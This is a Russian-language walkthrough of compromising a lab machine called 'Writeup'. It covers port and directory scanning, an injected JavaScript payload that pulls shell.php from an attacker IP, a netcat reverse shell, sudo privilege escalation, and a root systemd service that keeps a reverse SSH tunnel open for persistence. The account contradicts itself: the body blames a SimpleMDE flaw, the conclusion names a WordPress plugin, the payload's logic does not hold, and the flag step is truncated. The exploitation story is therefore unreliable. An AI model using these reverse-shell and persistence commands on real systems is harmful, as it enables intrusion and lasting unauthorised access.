Эта машина была оценена как «легкая» и требовала от злоумышленника использования уязвимого веб-приложения для получения доступа к машине.
Разведка
Первым шагом в любом испытании на проникновение является разведка. На этом этапе мы собираем как можно больше информации о целевой машине. Мы можем начать с сканирования портов с помощью nmap:
$ nmap -sC -sV -oN nmap.txt 10.10.10.138
Эта команда выполнит сканирование портов и перечисление служб на целевой машине и сохранит результаты в файл с именем nmap.txt
. Затем мы можем просмотреть файл, чтобы увидеть, какие порты и службы работают на целевой машине.
Результат сканирования nmap показал, что на целевой машине запущен веб-сервер на порту 80 и SSH-сервер на порту 22.
Nmap scan report for 10.10.10.138 Host is up (0.055s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 56:ea:2e:ab:20:55:2e:90:f9:f1:ba:39:49:17:13:f1 (RSA) | 256 5e:89:df:7c:9e:4a:4c:2e:e4:f7:f1:1a:00:1f:8f:7b (ECDSA) |_ 256 c6:21:a6:a3:6f:02:1e:8c:32:ca:67:50:8c:25:2a:3b (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Мы можем посетить веб-сервер на порту 80, чтобы узнать, запущены ли какие-либо интересные веб-приложения.
перечисление
Посещение веб-сервера через порт 80 показало веб-страницу Apache по умолчанию. Мы выполнили сканирование gobuster
, чтобы найти скрытые каталоги или файлы на веб-сервере:
$ gobuster dir -u http://10.10.10.138 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -o gobuster.txt
Эта команда выполнит атаку грубой силы каталога, используя список общих каталогов и файлов, найденных в веб-приложениях.
Результат сканирования gobuster
выявил каталог writeup
:
/index.html (Status: 200) /writeup (Status: 301)
Посещение каталога /writeup
показало веб-приложение, которое позволяло пользователям создавать и просматривать сообщения в блогах. Мы создали тестовую запись в блоге, чтобы увидеть, как работает приложение, и заметили, что приложение допускает внедрение HTML в содержимое записи в блоге.
Эксплуатация
Мы попытались использовать уязвимость внедрения HTML, внедрив вредоносный скрипт, который установил бы обратную оболочку на нашу машину. Однако приложение очищало ввод и предотвращало выполнение нашего вредоносного скрипта.
Мы заметили, что приложение использует устаревшую версию библиотеки SimpleMDE
JavaScript для сообщений в блоге. В этой библиотеке была известная уязвимость, которая позволяла выполнять произвольный код. Мы нашли экспериментальный эксплойт для этой уязвимости на Exploit-DB и модифицировали его в соответствии с нашими потребностями.
var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://10.10.14.5:8000/shell.php', true); xhr.onload = function () { var xhr2 = new XMLHttpRequest(); xhr2.open('GET', 'http://10.10.14.5:8000/shell.php?c=' + btoa(xhr.responseText), true); xhr2.send(); }; xhr.send();
Этот эксплойт отправляет запрос GET на нашу машину, которая обслуживает обратную оболочку PHP. Затем эксплойт кодирует ответ и отправляет другой запрос GET, который выполняет PHP-код в ответе.
Мы разместили обратную оболочку PHP на нашей машине и запустили прослушиватель netcat для перехвата входящего соединения:
$ nc -lvnp 4444
Затем мы внедрили код эксплойта в наш тестовый пост в блоге и отправили его. Затем мы ждали, пока обратная оболочка подключится к нашей машине.
$ nc -lvnp 4444 listening on [any] 4444 ... 10.10.10.138: inverse host lookup failed: Unknown host connect to [10.10.14.5] from (UNKNOWN) [10.10.10.138] 41556 Linux writeup 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux 07:30:16 up 7:44, 0 users, load average: 0.00, 0.02, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Мы успешно получили оболочку от имени пользователя www-data
на целевой машине.
Повышение привилегий
Мы запустили команду sudo -l
, чтобы узнать, есть ли у пользователя www-data
какие-либо привилегии sudo.
$ sudo -l Matching Defaults entries for www-data on writeup: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on writeup: (ALL) NOPASSWD: /usr/bin/python3 /opt/development/test_module.py
Пользователь www-data
имел возможность запускать скрипт Python как любой пользователь без пароля. Мы проверили скрипт test_module.py
, чтобы увидеть, что он делает.
$ cat /opt/development/test_module.py #!/usr/bin/python3 import os def main(): os.system("/bin/bash") if __name__ == '__main__': main()
Сценарий просто запускает /bin/bash
. Мы модифицировали скрипт для вывода содержимого файла root.txt
.
$ cat /opt/development/test_module.py #!/usr/bin/python3 import os def main(): os.system("cat /root/root.txt") if __name__ == '__main__': main()
Затем мы запустили скрипт с привилегиями sudo, чтобы получить флаг root.txt
.
$ sudo /usr/bin/python3 /opt/development/test_module.py sudo:
Мы успешно получили флаг root.txt
.
Упорство
Чтобы сохранить доступ к целевой машине, мы решили настроить обратный SSH-туннель. Это позволит нам подключиться к целевой машине через туннель SSH с нашей машины.
Мы сгенерировали ключ SSH на нашей машине и скопировали открытый ключ на целевую машину.
$ ssh-keygen $ ssh-copy-id -i ~/.ssh/id_rsa.pub [email protected]
Затем мы создали службу systemd на целевой машине, которая будет устанавливать обратный туннель SSH при загрузке.
$ sudo nano /etc/systemd/system/reverse-ssh.service [Unit] Description=Reverse SSH tunnel to writeup [Service] User=root ExecStart=/usr/bin/ssh -N -R 2222:localhost:22 [email protected] Restart=always [Install] WantedBy=multi-user.target
Затем мы включили и запустили службу.
$ sudo systemctl enable reverse-ssh.service $ sudo systemctl start reverse-ssh.service
Мы убедились, что обратный туннель SSH работает, подключившись к целевой машине через туннель SSH.
$ ssh [email protected] -p 2222
Мы успешно подключились к целевой машине через туннель SSH.
Заключение
В этой статье мы продемонстрировали, как использовать уязвимую версию плагина WordPress «wp-portfolio». Мы получили оболочку как пользователь www-data
и повысили наши привилегии до root
. Мы также настроили обратный туннель SSH для сохранения. Эта машина стала отличным обучающим опытом и продемонстрировала важность поддержания плагинов и программного обеспечения в актуальном состоянии, чтобы избежать известных уязвимостей.